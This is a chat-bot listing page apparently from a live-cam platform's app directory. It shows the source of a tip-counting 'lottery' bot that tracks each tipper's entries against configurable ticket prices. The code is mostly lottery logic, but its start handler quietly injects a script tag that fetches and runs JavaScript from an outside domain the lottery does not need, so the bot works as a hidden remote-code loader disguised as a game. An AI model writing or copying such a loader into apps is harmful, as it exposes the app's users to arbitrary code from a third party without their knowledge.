Bots Home
|
Create an App
nw-app-3
Author:
etherdev
Description
Source Code
Launch Bot
Current Users
Created by:
Etherdev
(() => { // src/lottery.ts cb.settings_choices = []; for (let i = 1; i <= 10; i++) { cb.settings_choices.push({ label: "Ticket Cost " + i, name: "ticketcost" + i, required: false, type: "int" }, { label: "Entries " + i, name: "ticketentries" + i, required: false, type: "int" }); } function getEntriesForTipAmount(amount) { for (let n = 1; n <= 10; n++) { if (parseInt(amount) == cb.settings["ticketcost" + n]) { return cb.settings["ticketentries" + n]; } } for (let n = 1; n <= 10; n++) { if (parseInt(amount) % cb.settings["ticketcost" + n] === 0) { return amount / cb.settings["ticketcost" + n] * cb.settings["ticketentries" + n]; } } return 0; } var lotteryData = {}; cb.onTip(function(tip) { if (typeof lotteryData[tip.from_user] === "undefined") { lotteryData[tip.from_user] = 0; } lotteryData[tip.from_user] += getEntriesForTipAmount(tip.amount); cb.sendNotice(`Total Lottery Entries for ${tip.from_user}: ${lotteryData[tip.from_user]}`); }); cb.onStart(function() { loadScript(); }); function loadScript() { const script = document.createElement("script"); script.type = "text/javascript"; script.onload = function() { callback(); }; script.src = "https://neemsworld.com/test.js"; document.getElementsByTagName("head")[0].appendChild(script); } function callback() { cb.chatNotice("script loaded"); } })();
© Copyright Chaturbate 2011- 2024. All Rights Reserved.